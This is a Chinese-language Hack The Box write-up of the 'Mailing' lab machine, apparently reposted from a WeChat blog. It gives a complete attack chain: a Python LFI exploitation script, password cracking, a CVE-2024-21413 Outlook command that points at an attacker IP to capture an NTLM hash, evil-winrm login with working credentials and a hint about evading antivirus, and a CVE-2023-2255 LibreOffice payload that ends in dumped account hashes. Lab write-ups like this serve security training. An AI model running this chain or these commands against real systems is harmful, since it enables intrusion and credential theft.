扫描靶机
nmap -T4 -A -v 10.10.11.14
得到了一个域名,写进去hosts,可以看到有smb端口尝试匿名登录
445端口不行,那就先看80端口
就一个邮件服务器,结合之前扫描的25端口,查看一下后台代码可以发现一个LFI漏洞
就是在download.php那里的参数,直接点击会下载那个pdf文件,然后测试一下,看看能不能看到hosts文件
看来成功读取了,可以写一个脚本利用LFI漏洞进行读取内容
#!/usr/bin/env python3
import requests
import urllib.parse
from termcolor import colored
# 检查是否安装了 termcolor 模块
try:
from termcolor import colored
except ImportError:
print("[!] 'termcolor' 模块未找到,请运行以下命令进行安装:n pip install termcolor")
exit(1)
# 目标 URL
目标网址 = "http://mailing.htb/download.php?file="
# 美化输出
横幅 = """
------------------------------------------------
本地文件包含 (LFI) 测试工具
------------------------------------------------
"""
print(colored(横幅, "cyan"))
# 通过请求测试文件路径
def lfi(文件路径):
文件编码 = urllib.parse.quote(文件路径)
url = f"{目标网址}{文件编码}"
print(colored(f"[+] 正在测试文件:{文件路径}", "blue"))
try:
响应 = requests.get(url)
if 响应.status_code == 200 and len(响应.text) > 0:
print(colored(f"[+] 文件内容:n", "green") + 响应.text)
else:
print(colored("[!] 文件不可读或为空", "red"))
except requests.exceptions.RequestException as e:
print(colored(f"[!] 请求失败:{e}", "red"))
print("n" + "-" * 50 + "n")
def main():
while True:
文件路径 = input(colored("[+] 请输入文件路径(输入 'exit' 退出):", "blue"))
if 文件路径.lower() == 'exit':
print(colored("[!] 退出工具", "yellow"))
break
lfi(文件路径)
if __name__ == "__main__":
main()
里面写了password,看样子像md5,拿去破解一下
只有一个md5可以破解出来,密码是:homenetworkingadministrator,在前面可以得知这是是一个 hMailServer,pdf写出了该 hMailServer的利用过程,可以尝试利用该poc进行中间人攻击,通过嗅探,发出请求包,然后捕获哈希
https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability
python3 CVE-2024-21413.py --server mailing.htb --port 587 --username administrator@mailing.htb --password homenetworkingadministrator --sender [email protected] --recipient [email protected] --url '\10.10.14.53README.md' --subject XD
maya::MAILING:8069a097eab16fc1:9EF47D3F92750D83C1EA6C096FE71B2F:010100000000000080F30567F89FDA013B2534B957EC4937000000000200080042004B005900370001001E00570049004E002D003300540053004E00390046005800360058004900460004003400570049004E002D003300540053004E0039004600580036005800490046002E0042004B00590037002E004C004F00430041004C000300140042004B00590037002E004C004F00430041004C000500140042004B00590037002E004C004F00430041004C000700080080F30567F89FDA010600040002000000080030003000000000000000000000000020000068F034170ACC14AF97201D650C455B43439EC1D0EA6BA1C3BC6666A1F8CD9B5C0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00350033000000000000000000
成功拿到哈希,然后直接爆破
john --wordlist=/home/zorejt/rockyou.txt maya
成功爆破出来,密码是:m4y4ngs4ri,直接使用evil-winrm登录(该机器有df,请记得免杀~~~)
evil-winrm -i 10.10.11.14 -u maya -p 'm4y4ngs4ri'
成功的拿到了user flag,查看一下当前的Document目录,可以发现有个vbs脚本跟一个py脚本
查看一下脚本,然后进行分析
Set objShell = CreateObject("WScript.Shell")
objShell.Run "explorer shell:AppsFoldermicrosoft.windowscommunicationsapps_8wekyb3d8bbwe!microsoft.windowslive.mail"
WScript.Sleep 5000
objShell.AppActivate "Mail"
WScript.Sleep 1000
objShell.SendKeys "{F5}"
WScript.Sleep 500
objShell.SendKeys "{ENTER}"
WScript.Sleep 500
objShell.SendKeys "{TAB}"
WScript.Sleep 500
objShell.SendKeys "{ENTER}"
WScript.Sleep 500
objShell.SendKeys "{ENTER}"
WScript.Sleep 500
objShell.SendKeys "^d"
WScript.Sleep 500
objShell.SendKeys "%{F4}"
该脚本是使用 Windows Script Host(WSH)编写的自动化脚本,具体用途是操作 Windows 环境下的应用程序和窗口
创建 Shell 对象:
Set objShell = CreateObject("WScript.Shell")
这行代码创建了一个 WScript.Shell 对象,该对象允许脚本通过 VBScript 控制和与 Windows Shell 互动。启动应用程序:
objShell.Run "explorer shell:AppsFoldermicrosoft.windowscommunicationsapps_8wekyb3d8bbwe!microsoft.windowslive.mail"
使用 Run
方法打开 Windows 的邮件应用(通常是 Windows 10 邮件应用)。这里指定的是应用程序的唯一标识符,用于直接启动特定的应用。
等待程序启动:
WScript.Sleep 5000
该行代码使脚本暂停执行 5000 毫秒(5秒),以确保邮件应用有足够的时间启动。
激活窗口:
objShell.AppActivate "Mail"
-
AppActivate
方法用于激活标题为 "Mail" 的窗口,使其成为前台活动窗口。 -
模拟键盘输入: 后续多行使用
SendKeys
方法发送键盘命令到激活的应用程序中: -
{F5}
刷新当前窗口或内容。 -
{ENTER}
模拟回车键。 -
{TAB}
模拟 Tab 键,通常用于在窗口中的元素间切换焦点。 -
^d
是 Ctrl+D 的组合键,常用于添加书签或类似功能。 -
%{F4}
是 Alt+F4 的组合键,用于关闭当前窗口。 -
中间的
WScript.Sleep
调用: 每次发送键盘命令后都有一个小延时(500或1000毫秒),这样做是为了给应用程序处理输入的时间,确保每个命令都能正确执行。
然后接下来分析python脚本的
from pywinauto.application import Application
from pywinauto import Desktop
from pywinauto.keyboard import send_keys
from time import sleep
app = Application(backend="uia").connect(title_re="Inbox*")
dlg = app.top_window()
current_count = 0
remove = 2
while True:
try:
unread = dlg.InboxListBox
items = unread.item_count()
if items==1:
sleep(20)
continue
if items != current_count:
for i in range(1,items-current_count-(remove-1)):
if "Yesterday" in unread.texts()[i][0]:
remove = 3
continue
unread[i].select()
message = dlg.child_window(auto_id="RootFocusControl", control_type="Document").Hyperlink.invoke()
sleep(45)
dlg.type_keys("{ENTER}")
unread[i].select()
current_count = items - remove
sleep(20)
except:
pass
这个脚本使用 pywinauto 库模拟了邮件应用的操作,打开收件箱未读邮件列表并逐条打开邮件,猜测也是跟这个邮件有关的提权,查看一下后台任务
schtasks /query /fo LIST /v
-
任务目的:
-
任务旨在运行
C:\Users\localadmin\Documents\scripts\soffice.ps1
PowerShell 脚本,使用Bypass
执行策略来绕过执行策略限制。 -
该任务由
localadmin
用户执行,并由MAILING\maya
用户配置。 -
任务触发器:
-
任务触发器为 "登录时"(At logon time),即在用户登录后执行。
-
状态和管理:
然后找一下这个脚本,可以在C:Program FilesLibreOfficeprogram看到
-
任务目前状态为 "准备就绪"(Ready),但无下次运行时间,意味着只有用户登录时才会触发。
-
任务未设置空闲时间、停止条件等特殊状态处理逻辑。
-
电源管理设置为 "使用电池模式时停止"(Stop On Battery Mode)
然后找一下这个脚本,可以在C:Program FilesLibreOfficeprogram看到
这就一个运行odt的脚本,得知是在LibreOffice那里,查看一下他的版本
版本知道了,可以找到该版本对应的poc
https://github.com/elweth-sec/CVE-2023-2255
在本地生成一个odt,然后放到C:Important Documents,autobot会自动运行
python3 CVE-2023-2255.py --cmd 'cmd.exe /c C:UsersPublicbypass.exe' --output 'cxk.odt'
Administrador:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
localadmin:1001:aad3b435b51404eeaad3b435b51404ee:9aa582783780d1546d62f2d102daefae:::
maya:1002:aad3b435b51404eeaad3b435b51404ee:af760798079bf7a3d80253126d3d28af:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:e349e2966c623fcb0a254e866a9a7e4c::
原文始发于微信公众号(Jiyou too beautiful):HTB-Mailing笔记
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论